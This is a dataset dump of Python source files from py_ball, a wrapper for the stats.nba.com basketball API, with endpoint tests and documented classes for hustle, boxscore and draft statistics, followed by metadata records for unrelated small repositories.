'FTA',\n 'FT_PCT',\n 'OREB',\n 'DREB',\n 'REB',\n 'AST',\n 'TOV',\n 'STL',\n 'BLK',\n 'BLKA',\n 'PF',\n 'PFD',\n 'PTS',\n 'PLUS_MINUS',\n 'NBA_FANTASY_PTS',\n 'CFID',\n 'CFPARAMS']\n\n assert list(example_dist.keys()) == ['GROUP_SET',\n 'GROUP_VALUE',\n 'PLAYER_ID',\n 'PLAYER_NAME',\n 'FGM',\n 'FGA',\n 'FG_PCT',\n 'CFID',\n 'CFPARAMS']\n\n assert list(example_dist_on.keys()) == ['GROUP_SET',\n 'PLAYER_ID',\n 'PLAYER_NAME',\n 'VS_PLAYER_ID',\n 'VS_PLAYER_NAME',\n 'COURT_STATUS',\n 'GROUP_VALUE',\n 'FGM',\n 'FGA',\n 'FG_PCT',\n 'CFID',\n 'CFPARAMS']\n assert list(example_dist_off.keys()) == ['GROUP_SET',\n 'PLAYER_ID',\n 'PLAYER_NAME',\n 'VS_PLAYER_ID',\n 'VS_PLAYER_NAME',\n 'COURT_STATUS',\n 'GROUP_VALUE',\n 'FGM',\n 'FGA',\n 'FG_PCT',\n 'CFID',\n 'CFPARAMS']\n\n assert list(example_area.keys()) == ['GROUP_SET',\n 'GROUP_VALUE',\n 'PLAYER_ID',\n 'PLAYER_NAME',\n 'FGM',\n 'FGA',\n 'FG_PCT',\n 'CFID',\n 'CFPARAMS']\n\n assert list(example_area_on.keys()) == ['GROUP_SET',\n 'PLAYER_ID',\n 'PLAYER_NAME',\n 'VS_PLAYER_ID',\n 'VS_PLAYER_NAME',\n 'COURT_STATUS',\n 'GROUP_VALUE',\n 'FGM',\n 'FGA',\n 'FG_PCT',\n 'CFID',\n 'CFPARAMS']\n\n assert list(example_area_off.keys()) == ['GROUP_SET',\n 'PLAYER_ID',\n 'PLAYER_NAME',\n 'VS_PLAYER_ID',\n 'VS_PLAYER_NAME',\n 'COURT_STATUS',\n 'GROUP_VALUE',\n 'FGM',\n 'FGA',\n 'FG_PCT',\n 'CFID',\n 'CFPARAMS']\n\n assert list(example_player_inf.keys()) == ['PERSON_ID',\n 'FIRST_NAME',\n 'LAST_NAME',\n 'DISPLAY_FIRST_LAST',\n 'DISPLAY_LAST_COMMA_FIRST',\n 'DISPLAY_FI_LAST',\n 'BIRTHDATE',\n 'SCHOOL',\n 'COUNTRY',\n 'LAST_AFFILIATION']\n\n assert list(example_vs_player_inf.keys()) == ['PERSON_ID',\n 'FIRST_NAME',\n 'LAST_NAME',\n 'DISPLAY_FIRST_LAST',\n 'DISPLAY_LAST_COMMA_FIRST',\n 'DISPLAY_FI_LAST',\n 'BIRTHDATE',\n 'SCHOOL',\n 'COUNTRY',\n 'LAST_AFFILIATION']\n\ndef test_player_shotchart():\n \"\"\" tests the shotchartdetail endpoint of the Player class\n \"\"\"\n\n time.sleep(1)\n example_player = Player(headers=HEADERS,\n endpoint='shotchartdetail',\n game_id='0021700608',\n player_id='2772')\n\n table_names = example_player.data.keys()\n\n assert 'Shot_Chart_Detail' in table_names\n assert 'LeagueAverages' in table_names\n\n example_shotchart = example_player.data['Shot_Chart_Detail'][0]\n example_avg = example_player.data['LeagueAverages'][0]\n\n assert list(example_shotchart.keys()) == ['GRID_TYPE',\n 'GAME_ID',\n 'GAME_EVENT_ID',\n 'PLAYER_ID',\n 'PLAYER_NAME',\n 'TEAM_ID',\n 'TEAM_NAME',\n 'PERIOD',\n 'MINUTES_REMAINING',\n 'SECONDS_REMAINING',\n 'EVENT_TYPE',\n 'ACTION_TYPE',\n 'SHOT_TYPE',\n 'SHOT_ZONE_BASIC',\n 'SHOT_ZONE_AREA',\n 'SHOT_ZONE_RANGE',\n 'SHOT_DISTANCE',\n 'LOC_X',\n 'LOC_Y',\n 'SHOT_ATTEMPTED_FLAG',\n 'SHOT_MADE_FLAG',\n 'GAME_DATE',\n 'HTM',\n 'VTM']\n\n assert list(example_avg.keys()) == ['GRID_TYPE',\n 'SHOT_ZONE_BASIC',\n 'SHOT_ZONE_AREA',\n 'SHOT_ZONE_RANGE',\n 'FGA',\n 'FGM',\n 'FG_PCT']\n" }, { "alpha_fraction": 0.5483059287071228, "alphanum_fraction": 0.5560097694396973, "avg_line_length": 43.32404327392578, "blob_id": "dc265b458d31a723b165d4749012ba3cc4e76faa", "content_id": "b52bd0ff5ebeda1b67e3009ed82e8395122cd355", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12721, "license_type": "permissive", "max_line_length": 84, "num_lines": 287, "path": "/py_ball/league_hustle.py", "repo_name": "basketballrelativity/py_ball", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jan 12 20:44:34 2022\n\n@author: patrickmcfarlane\n\nleague_hustle.py contains the LeagueHustle class that\nenables API calls for player and team hustle stats\n\"\"\"\n\nfrom .utils import api_call, parse_api_call, get_season_year\n\nclass LeagueHustle:\n \"\"\" The LeagueHustle class contains all resources needed\n to use the league hustle stats related API calls.\n `stats.nba.com <https://stats.nba.com>`_ has the following\n league performance stats related API endpoints:\n\n *- **leaguehustlestatsplayer**: Player hustle stats.\n *- **leaguehustlestatsteam**: Team hustle stats.\n\n The LeagueHustle class has the following required parameters:\n\n @param **headers** (*dict*): Dictionary of request header information\n required by the API. Specifically, the API requires you to declare\n the 'User-Agent' key of the request header dictionary. More information\n can be found `here <https://stackoverflow.com/questions/46781563/\n how-to-obtain-a-json-response-from-the-stats-nba-com-api>`_ and\n an example request header dictionary can be found in the __init__.py\n file in the tests folder of this module.\n\n @param **league_id** (*str*): LeagueID in the API). String of a \\\n two-digit number corresponding to the league. '00' is the NBA, \\\n '10' is the WNBA, '01' is the ABA, and '20' is the G-League.\n\n @param **per_mode** (*str*): PerMode in the API. String indicating \\\n the type of rate stats to be returned. Valid values include:\n\n - 'Totals', 'PerGame', 'MinutesPer', 'Per48', 'Per40', \\\n 'Per36', 'PerMinute', 'PerPossession', 'PerPlay', \\\n 'Per100Possessions', 'Per100Plays'\n\n @param **plus_minus** (*str*): PlusMinus in the API. String \\\n representing a Boolean value that indicates whether the values \\\n being returned should be in plus-minus form. Valid values \\\n include:\n\n - 'Y', 'N'\n\n @param **rank** (*str*): Rank in the API. String representing \\\n a Boolean value that indicates whether the values being \\\n returned should be in rank form. Valid values include:\n\n - 'Y', 'N'\n\n @param **pace_adjust** (*str*): PaceAdjust in the API. String \\\n representing a Boolean value that indicates whether the \\\n values being returned should be pace-adjusted. Valid \\\n values include:\n\n - 'Y', 'N'\n\n @param **measure_type** (*str*): MeasureType in the API. String \\\n indicating the set of statistics to be returned. Valid \\\n values include:\n\n - 'Base', 'Advanced', 'Misc', 'Four Factors', 'Scoring', \\\n 'Opponent', 'Usage', 'Defense'\n\n @param **period** (*str*): Period in the API. String of an \\\n integer value that corresponds to a desired quarter for data \\\n to be returned. A value of '0' returns data across all quarters.\n\n @param **vs_conference** (*str*): VsConference in the API. String \\\n indicating the conference of the opposing team for data to be \\\n returned. An empty string returns data across all conferences. \\\n Valid values include:\n\n - 'East', 'West', ''\n\n @param **last_n_games** (*str*): LastNGames in the API. String of \\\n an integer indicating the desired number of most recent games \\\n for data to be returned. A value of '0' returns data across \\\n all previous games, subject to other constraints in the API call.\n\n @param **team_id** (*str*): TeamID in the API. String of a 10-digit \\\n integer that uniquely identifies a team for which data is to \\\n be returned.\n\n @param **location** (*str*): Location in the API. String indicating \\\n the game location for the data to be returned. An empty string \\\n returns data across both home and road games. Valid values \\\n include:\n\n - 'Home', 'Road', ''\n\n @param **outcome** (*str*): Outcome in the API. String indicating \\\n the game outcome for the data to be returned. An empty string \\\n returns data across both wins and losses. Valid values include:\n\n - 'W', 'L', ''\n\n @param **date_from** (*str*): DateFrom in the API. String of a date \\\n in a MM/DD/YYYY format indicating the start date for which \\\n data is to be returned.\n\n @param **date_to** (*str*): DateTo in the API. String of a date \\\n in a MM/DD/YYYY format indicating the end date for which \\\n data is to be returned.\n\n @param **opp_team_id** (*str*): OpponentTeamID in the API. String \\\n of a 10-digit integer that uniquely identifies an opposing \\\n team for which data is to be returned.\n\n @param **season** (*str*): Season in the API. String of a two-year \\\n season in a YYYY-ZZ format, where the ZZ are the last two \\\n digits of the following year. For example, '2017-18' is a valid \\\n value of **season** and represents the 2017-18 NBA season.\n\n @param **vs_division** (*str*): VsDivision in the API. String \\\n indicating the division of the opposing team for data to be \\\n returned. An empty string returns data across all divisions. \\\n Valid values include:\n\n - 'Atlantic', 'Central', 'Northwest', 'Pacific', \\\n 'Southeast', 'Southwest', 'East', 'West', ''\n\n The 'East' and 'West' values correspond to conferences.\n\n @param **game_segment** (*str*): GameSegment in the API. String \\\n indicating the section of a game for data to be returned. \\\n An empty string returns data across all game segments. \\\n Valid values include:\n\n - 'First Half', 'Overtime', 'Second Half', ''\n\n @param **month** (*str*): Month in the API. String of an integer \\\n corresponding to a month for data to be returned. \\\n A value of '0' returns data across all months.\n\n @param **season_type** (*str*): SeasonType in the API. String \\\n indicating the type of season for data to be returned. \\\n Valid values include:\n\n - 'Regular Season', 'Pre Season', 'Playoffs', 'All Star'\n\n @param **season_segment** (*str*): SeasonSegment in the API. String \\\n indicating the section of the season for data to be returned. \\\n An empty string returns data across all season segments. \\\n Valid values include:\n\n - 'Pre All-Star', 'Post All-Star', ''\n\n @param **game_scope** (*str*): GameScope in the API. String \\\n indicating the recency of the data to be returned. An \\\n empty string returns data across all past games, subject \\\n to other constraints in the API call. Valid values include:\n\n - 'Yesterday', 'Last 10', ''\n\n @param **player_experience** (*str*): PlayerExperience in the API. \\\n String indicating the level of player experience for data to be \\\n returned. An empty string returns data across all levels \\\n of player experience. Valid values include:\n\n - 'Rookie', 'Sophomore', 'Veteran', ''\n\n @param **player_position** (*str*): PlayerPosition in the API. \\\n String indicating the player position for data to be returned. \\\n An empty string returns data across all player positions. Valid \\\n values include:\n\n - 'F', 'C', 'G', 'C-F', 'F-C', 'F-G', 'G-F', ''\n\n @param **starters_bench** (*str*): StarterBench in the API. String \\\n indicating whether data should be returned for either or both \\\n starters or bench players. An empty string returns data across \\\n both starters and bench players. Valid values include:\n\n - 'Starters', 'Bench', ''\n\n @param **po_round** (*str*): PORound in the API. 1, 2, 3, or 4 \\\n corresponding to the deired playoff round\n\n @param **shot_clock_range** (*str*): ShotClockRange in the API \\\n Accepts one of the following strings for windows of the shot \\\n clock:\n\n - \"24-22\"\n - \"22-18\": very early\n - \"18-15\": early\n - \"15-7\": average\n - \"7-4\": late\n - \"4-0\": very late\n\n @param **two_way** (*str*): TwoWay in the API. 1 to return stats \\\n for players on two-way contracts only. 0 to return all players\n\n @param **draft_pick** (*str*): DraftPick in the API. String of the overall \\\n draft pick number\n\n @param **draft_year** (*str*): DraftYear in the API. String of the \\\n draft year in YYYY format\n\n @param **height** (*str*): Height in the API. Height in Feet-Inches \\\n format\n\n @param **weight** (*str*): Weight in the API. Weight in pounds\n\n\n Attributes:\n\n **api_resp** (*dict*): JSON object of the API response. The API \\\n response has three keys. The 'resource' key describes the \\\n type of response returned (the endpoint in this instance). \\\n The 'parameters' key describes the parameters provided in the \\\n API call. The 'resultSets' key contains the data returned in \\\n the API call.\n\n **data** (*dict*): A dictionary of response names. Each response \\\n name is a key to a list of dictionaries containing the \\\n corresponding data.\n \"\"\"\n\n def __init__(self, headers, endpoint='leaguehustlestatsplayer',\n league_id='00',\n per_mode='PerGame', plus_minus='N',\n rank='Y', pace_adjust='N',\n measure_type='Base', period='0',\n vs_conference='', last_n_games='0',\n team_id='0', location='', outcome='',\n date_from='', date_to='', opp_team_id='0',\n season=get_season_year(\"00\"), vs_division='',\n game_segment='', month='0',\n season_type='Regular Season', season_segment='',\n game_scope='',\n player_experience='',\n player_position='', starters_bench='',\n po_round='', shot_clock_range='',\n two_way='0', draft_pick='',\n draft_year='', height='', weight=''):\n\n # Controlling the parameters depending on the endpoint\n if endpoint in ['leaguehustlestatsplayer', 'leaguehustlestatsteam']:\n params = {'LeagueID': league_id,\n 'PerMode': per_mode,\n 'PlusMinus': plus_minus,\n 'Rank': rank,\n 'PaceAdjust': pace_adjust,\n 'MeasureType': measure_type,\n 'Period': period,\n 'VsConference': vs_conference,\n 'Location': location,\n 'Outcome': outcome,\n 'DateFrom': date_from,\n 'DateTo': date_to,\n 'TeamID': team_id,\n 'OpponentTeamID': opp_team_id,\n 'Season': season,\n 'VsDivision': vs_division,\n 'GameSegment': game_segment,\n 'Month': month,\n 'SeasonType': season_type,\n 'SeasonSegment': season_segment,\n 'LastNGames': last_n_games,\n 'GameScope': game_scope,\n 'PlayerExperience': player_experience,\n 'PlayerPosition': player_position,\n 'StarterBench': starters_bench,\n 'PORound': po_round,\n 'ShotClockRange': shot_clock_range,\n 'TwoWay': two_way,\n 'DraftPick': draft_pick,\n 'DraftYear': draft_year,\n 'Height': height,\n 'Weight': weight}\n\n\n self.api_resp = api_call(endpoint=endpoint,\n params=params,\n headers=headers)\n\n # Storing the API response in a dictionary called data\n # The results can come in different formats, namely a\n # dictionary keyed by either resultSets or resultSet\n self.data = parse_api_call(self.api_resp)\n" }, { "alpha_fraction": 0.4378818869590759, "alphanum_fraction": 0.523421585559845, "avg_line_length": 31.799999237060547, "blob_id": "878e876a0ae64b7e658a3dc7655c76ac761249db", "content_id": "7d01aaf6596c1549d42191229929b82383826118", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 491, "license_type": "permissive", "max_line_length": 78, "num_lines": 15, "path": "/py_ball/tests/__init__.py", "repo_name": "basketballrelativity/py_ball", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Dec 17 20:51:55 2018\n\n@author: patrickmcfarlane\n\"\"\"\n\nHEADERS = {'Connection': 'close',\n 'Host': 'stats.nba.com',\n 'Origin': 'http://stats.nba.com',\n 'Upgrade-Insecure-Requests': '1',\n 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2)' + \\\n 'AppleWebKit/537.36 (KHTML, like Gecko) ' + \\\n 'Chrome/66.0.3359.117 Safari/537.36'}" }, { "alpha_fraction": 0.611013650894165, "alphanum_fraction": 0.6248684525489807, "avg_line_length": 49.75893020629883, "blob_id": "d33eb19fa313207bf3a229756a4138bfffba3afb", "content_id": "e04a188f8e7877ea84c5862252ea6b60c965c446", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5702, "license_type": "permissive", "max_line_length": 96, "num_lines": 112, "path": "/py_ball/boxscore.py", "repo_name": "basketballrelativity/py_ball", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Oct 8 13:36:55 2018\n\n@author: patrickmcfarlane\n\nboxscore.py contains the BoxScore class that\nenables API calls for boxscore related endpoints\n\"\"\"\n\nfrom .utils import api_call, parse_api_call\n\nclass BoxScore:\n \"\"\"\n The BoxScore class contains all resources needed to use the boxscore-\n related API calls. `stats.nba.com <https://stats.nba.com>`_\n has the following boxscore-related API endpoints:\n\n - **boxscoreadvancedv2**: Game boxscore containing several advanced \\\n statistics\n - **boxscorefourfactorsv2**: Game boxscore containing statistics related \\\n to the Four Factors, for team and opponent\n - **boxscoremiscv2**: Game boxscore containing points scored by type \\\n of change (paint, fastbreak, etc.) for team and opponent\n - **boxscoreplayertrackv2**: Game boxscore containing aggregated player \\\n tracking statistics\n - **boxscorescoringv2**: Game boxscore containing percentage scoring \\\n statistics broken down by shot type.\n - **boxscoresummaryv2**: Game boxscore containing a summary of a \\\n particular matchup (including game metadata and results)\n - **boxscoretraditionalv2**: Game boxscore containing basic statistics\n - **boxscoreusagev2**: Game boxscore containing usage statistics \\\n and percentage\n\n The BoxScore class has the following required parameters:\n\n @param **headers** (*dict*): Dictionary of request header information\n required by the API. Specifically, the API requires you to declare\n the 'User-Agent' key of the request header dictionary. More information\n can be found `here <https://stackoverflow.com/questions/46781563/\n how-to-obtain-a-json-response-from-the-stats-nba-com-api>`_ and\n an example request header dictionary can be found in the __init__.py\n file in the tests folder of this module.\n\n @param **game_id** (*str*): GameID in the API. 10-digit string that represents \\\n a unique game. The format is two leading zeroes, followed by a \\\n season indicator number ('1' for preseason, \\\n '2' for regular season, '4' for the post-season), \\\n then the trailing digits of the season in which the game \\\n took place (e.g. '17' for the 2017-18 season). The following \\\n 5 digits increment from '00001' in order as the season progresses. \\\n For example, '0021600001' is the **game_id** of the first game of the \\\n 2016-17 NBA regular season.\n\n @param **range_type** (*str*): RangeType in the API. **range_type** controls the \\\n type of boxscore that is returned. If using the **start_period** and \\\n **end_period** parameters (defined below), **range_type** should have a value \\\n of '0' (DNP players included) or '1' (DNP players excluded). With \\\n a **range_type** value of '2', the **start_range** and **end_range** values can be \\\n used to return a boxscore from a customized subset of the given game.\n\n @param **start_period** (*str*): StartPeriod in the API. String of an integer \\\n that corresponds to the period for which the boxscore begins.\n\n @param **end_period** (str): EndPeriod in the API. String of an integer that \\\n corresponds to the period for which the boxscore ends (Overtime \\\n increments logically, e.g. '5' is the first overtime period).\n\n @param **start_range** (*str*): StartRange in the API. String of an integer \\\n that corresponds to the tenths of seconds that have elapsed in the \\\n game for which the boxscore begins. Valid when **range_type** ='2'.\n\n @param **end_range** (*str*) : EndRange in the API. String of an integer \\\n that corresponds to the tenths of seconds that have elapsed in the \\\n game for which the boxscore ends. Valid when **range_type** ='2'.\n \n Attributes:\n\n - **api_resp** (*dict*): JSON object of the API response. The API response \\\n has three keys. The 'resource' key describes the type of \\\n response returned ('boxscore' in this instance). The 'parameters' \\\n key describes the parameters provided in the API call. The \\\n 'resultSets' key contains the data returned in the API call.\n\n - **data** (*dict*): A dictionary of response names. Each response name is a \\\n key to a list of dictionaries containing the corresponding data.\n \"\"\"\n\n def __init__(self, headers, game_id, endpoint='boxscoreadvancedv2',\n range_type='1', start_period='0', end_period='10',\n start_range='0', end_range='0'):\n\n # Controlling the parameters depending on the endpoint\n if endpoint in ['boxscoreplayertrackv2', 'boxscoresummaryv2']:\n params = {'GameID': game_id}\n else:\n params = {'GameID': game_id,\n 'RangeType': range_type,\n 'StartPeriod': start_period,\n 'EndPeriod': end_period,\n 'StartRange': start_range,\n 'EndRange': end_range}\n\n self.api_resp = api_call(endpoint=endpoint,\n params=params,\n headers=headers)\n\n # Storing the API response in a dictionary called data\n # The results can come in different formats, namely a\n # dictionary keyed by either resultSets or resultSet\n self.data = parse_api_call(self.api_resp)\n \n" }, { "alpha_fraction": 0.6121892333030701, "alphanum_fraction": 0.6258338093757629, "avg_line_length": 42.973331451416016, "blob_id": "dcef25f33122c641b84f4cb1b4e65a0cfb819642", "content_id": "573d2dd803edf9fb9f3f946b993584e223e6e59d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3298, "license_type": "permissive", "max_line_length": 85, "num_lines": 75, "path": "/py_ball/draft.py", "repo_name": "basketballrelativity/py_ball", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Oct 8 20:08:30 2018\n\n@author: patrickmcfarlane\n\ndraft.py contains the Draft class that\nenables API calls for draft related endpoints\n\"\"\"\n\nfrom .utils import api_call, parse_api_call, get_season_year\n\nclass Draft:\n \"\"\" The Draft class contains all resources needed to use the draft-\n related API calls. `stats.nba.com <https://stats.nba.com>`_\n has the following draft-related API endpoints:\n\n - **draftcombinestats**: Draft combine drill results and measurement \\\n data for players.\n - **drafthistory**: Draft results detailing metadata of draftees \\\n by season.\n\n The Draft class has the following required parameters:\n\n @param **headers** (*dict*): Dictionary of request header information\n required by the API. Specifically, the API requires you to declare\n the 'User-Agent' key of the request header dictionary. More information\n can be found `here <https://stackoverflow.com/questions/46781563/\n how-to-obtain-a-json-response-from-the-stats-nba-com-api>`_ and\n an example request header dictionary can be found in the __init__.py\n file in the tests folder of this module.\n\n @param **league_id** (*str*): LeagueID in the API. String of a \\\n two-digit number corresponding to the league. '00' is the NBA, \\\n '10' is the WNBA, '01' is the ABA, and '20' is the G-League. \\\n Draft data is only available for the NBA.\n\n @param **season_year** (*str*): SeasonYear in the API. String of \\\n a two-year season year in a YYYY-ZZ format, where the ZZ are the \\\n last two digits of the following year. For example, '2017-18' is \\\n a valid value of **season_year** and represents the 2017-18 NBA season. \\\n 'All Time' is a valid value for the 'draftcombinestats' endpoint.\n\n Attributes:\n\n **api_resp** (*dict*): JSON object of the API response. The API \\\n response has three keys. The 'resource' key describes the type of \\\n response returned (the endpoint in this instance). The 'parameters' \\\n key describes the parameters provided in the API call. The \\\n 'resultSets' key contains the data returned in the API call.\n\n **data** (*dict*): A dictionary of response names. Each response \\\n name is a key to a list of dictionaries containing the corresponding \\\n data.\n \"\"\"\n\n def __init__(self, headers, endpoint='draftcombinestats',\n league_id='00', season_year=get_season_year(\"00\")):\n\n # Controlling the parameters depending on the endpoint\n if endpoint in ['drafthistory']:\n params = {'LeagueID': league_id}\n else:\n params = {'LeagueID': league_id,\n 'SeasonYear': season_year}\n\n self.api_resp = api_call(endpoint=endpoint,\n params=params,\n headers=headers)\n\n # Storing the API response in a dictionary called data\n # The results can come in different formats, namely a\n # dictionary keyed by either resultSets or resultSet\n self.data = parse_api_call(self.api_resp)\n" } ]
30
lukedala/KibbleBit-RaspberryPI-Config
https://github.com/lukedala/KibbleBit-RaspberryPI-Config
1033c1f9d8e94b7e39188996020de8844deab38a
6af0f298a4f7e1f1447cca3ac9bf7be8579419d0
70b722029154bfe24940def0d42cfbf4c13b668e
refs/heads/master
2021-01-21T08:33:07.911839
2017-03-15T03:51:02
2017-03-15T03:51:02
91,631,495
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5161290168762207, "alphanum_fraction": 0.5161290168762207, "avg_line_length": 4.166666507720947, "blob_id": "d7ccd212f011abbe9b9030129e725830fd0e7a57", "content_id": "dd3d4c794b660002eb03afeccf64903044bd301f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "PHP", "length_bytes": 31, "license_type": "no_license", "max_line_length": 18, "num_lines": 6, "path": "/var/www/html/index.php", "repo_name": "lukedala/KibbleBit-RaspberryPI-Config", "src_encoding": "UTF-8", "text": "<?php\n\necho \"Hiiiiiiii.\";\n\n\n?>\n" }, { "alpha_fraction": 0.7037037014961243, "alphanum_fraction": 0.7037037014961243, "avg_line_length": 26, "blob_id": "a494b6b570043bbdb46281e860084edff6217a76", "content_id": "ff119af8cfb9c6b2890c6405eba93fce13bfa90b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 54, "license_type": "no_license", "max_line_length": 35, "num_lines": 2, "path": "/var/www/html/testpython.py", "repo_name": "lukedala/KibbleBit-RaspberryPI-Config", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\nprint(\"Hi this is a python script\")\n" }, { "alpha_fraction": 0.6323232054710388, "alphanum_fraction": 0.6343434453010559, "avg_line_length": 14, "blob_id": "145cf7f678e23cdbb16a5d2fca4ce732094042bf", "content_id": "cef8299871ba4c00ff53d302e817149c16a7cfb1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "PHP", "length_bytes": 495, "license_type": "no_license", "max_line_length": 62, "num_lines": 33, "path": "/var/www/html/echoold.php", "repo_name": "lukedala/KibbleBit-RaspberryPI-Config", "src_encoding": "UTF-8", "text": "<?php\necho \"This is another php script running on the raspberrypi!\";\n\n$servername=\"localhost\";\n$username = \"root\";\n$password = \"cit480\";\n$dbname = \"Kibblebit\";\n\n$conn = new mysqli($servername, $username, $password);\n\nif ($conn->connect_error){\ndie(\"Connection failed: \" . $conn->connect_error);\n}\n\necho \"hi\";\n\n$sql = \"SELECT * FROM Feedings WHERE *\";\n\n$result = $conn->query($sql);\n\nif ($result->num_rows > 0){\nwhile($row = $result->fetch_assoc()){\necho $row;\n\n}\n\n\n}else{\necho $row;\n}\n\n\n?>\n" }, { "alpha_fraction": 0.5973333120346069, "alphanum_fraction": 0.6013333201408386, "avg_line_length": 23.19354820251465, "blob_id": "ee02a672266739b450e8cf31753f764d598051c6", "content_id": "fe122ad39e6dcef7cb4990cf2aae1816f912bf80", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "PHP", "length_bytes": 750, "license_type": "no_license", "max_line_length": 111, "num_lines": 31, "path": "/var/www/html/echo.php", "repo_name": "lukedala/KibbleBit-RaspberryPI-Config", "src_encoding": "UTF-8", "text": "<?php\n$servername = \"localhost\";\n$username = \"root\";\n$password = \"cit480\";\n$dbname = \"Kibblebit\";\n\n// Create connection\n$conn = new mysqli($servername, $username, $password, $dbname);\n// Check connection\nif ($conn->connect_error) {\n die(\"Connection failed: \" . $conn->connect_error);\n} \n\n$sql = \"SELECT * FROM `Feedings` WHERE 1\";\n$result = $conn->query($sql);\n\nif ($result->num_rows > 0) {\n // output data of each row\n while($row = $result->fetch_assoc()) {\n echo \"FeedID: \" . $row[\"FeedID\"]. \" - KibblebitID: \" . $row[\"KibblebitID\"]. \" \" . $row[\"Time\"]. \"<br>\";\n }\n} else {\n echo \"0 results\";\n}\n$conn->close();\n\n//escapeshellcmd\n$command = ('/var/www/html/testpython.py');\n$output = shell_exec($command);\necho $output;\n?>\n" } ]
4
hieubz/TaggingApp
https://github.com/hieubz/TaggingApp
01955589ff07146b264f3319e27191577c7cf384
49f1fbd239cc4a57637c7a4d35a52212cac757c6
7d16c815701edef3b440c5e70b4802844f8849bf
refs/heads/master
2021-06-24T04:00:53.813535
2017-07-28T16:05:29
2017-07-28T16:05:29
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6176046133041382, "alphanum_fraction": 0.631313145160675, "avg_line_length": 23.696428298950195, "blob_id": "92210265765791d5a3d7ef7a2a4686e87bbb0a15", "content_id": "a740a695f776b137e1235d2bd2dc1e10027f4a05", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1386, "license_type": "no_license", "max_line_length": 130, "num_lines": 56, "path": "/model.js", "repo_name": "hieubz/TaggingApp", "src_encoding": "UTF-8", "text": "var mysql = require('mysql')\n , async = require('async')\n\nvar PRODUCTION_DB = 'app_prod_database'\n , TEST_DB = 'app_test_database'\n\nexports.MODE_TEST = 'mode_test'\nexports.MODE_PRODUCTION = 'mode_production'\n\nvar state = {\n pool: null,\n mode: null,\n}\n\nexports.connect = function (mode, done) {\n state.pool = mysql.createPool({\n host: '192.168.23.191',\n port: '3306',\n user: 'phuoclh',\n password: 'gW7Gj1HJ2wcJ'\n })\n\n state.mode = mode\n\n}\n\nexports.get = function () {\n return state.pool\n}\n\nexports.getUrls = function (callback) {\n var pool = state.pool\n var query = 'select id_url, url,cat_tag from url_content.Url where status=1 and cat_tag is null limit 4;'\n pool.query(query, function (err, rows) {\n if (err) return console.log(err, \" is err\")\n\n callback(rows)\n })\n}\n\n exports.getUrlsPlus = function (id, callback) {\n var pool = state.pool\n var query = 'select id_url, url,cat_tag from url_content.Url where status=1 and cat_tag is null and id_url >' + id + ' limit 4;'\n //console.log(query)\n pool.query(query, function (err, rows) {\n if (err) return console.log(err, \" is err\")\n callback(rows)\n })\n}\n exports.setUrl = function (data) {\n var pool = state.pool\n var id = data.id\n var value = data.value;\n var query = \"UPDATE url_content.Url SET cat_tag=\\'\" + value + \"\\' WHERE id_url = \\'\" + id + \"\\';\"\n pool.query(query)\n }\n\n\n\n" }, { "alpha_fraction": 0.5046728849411011, "alphanum_fraction": 0.5046728849411011, "avg_line_length": 18.071428298950195, "blob_id": "5d3a2f6a08aa97c2f4414f9d476b1b4bd07ef321", "content_id": "fb9e240693d939215ba2fcee9f7c833886ad959c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 535, "license_type": "no_license", "max_line_length": 124, "num_lines": 28, "path": "/test.py", "repo_name": "hieubz/TaggingApp", "src_encoding": "UTF-8", "text": "\n\n# data = open(\"data.txt\",\"r\").readlines()\n# line = \"\"\n\n# for i in data :\n# line += \"<li>\\n\" + \" <input type=\\\"checkbox\\\" value=\\\"\" + i.rstrip() + \"\\\"><label> </label>\\n\" + \" </li>\\n\"\n\n# out = open(\"out.txt\",\"w\")\n\n# out.writelines(line)\n# out.close()\n\n# data = open(\"out.txt\",'r').readlines()\n# res = {}\n\n# for i in data:\n# x,y = i.rstrip().split(\"=\")\n# res[x] = y\n\ndata = open('data.txt','r').readlines()\n\nres =\"\"\n\nfor i in data:\n res += i.rstrip()\n\nout = open('out.txt','w')\nout.writelines(res)\nout.close()" } ]
2
shengjiangtou/parabint
https://github.com/shengjiangtou/parabint
37af27cedbe18450a0ace5e85e2e34591960ea67
2662d4bf0fbd831cdefca48863b00d1ae087457a
e1540f78a810195dc6c0af6895a106bef171c02c
refs/heads/master
2020-11-29T23:54:59.255497
2017-06-12T07:32:17
2017-06-12T07:32:17
null
0
0
null
null
null
null
null
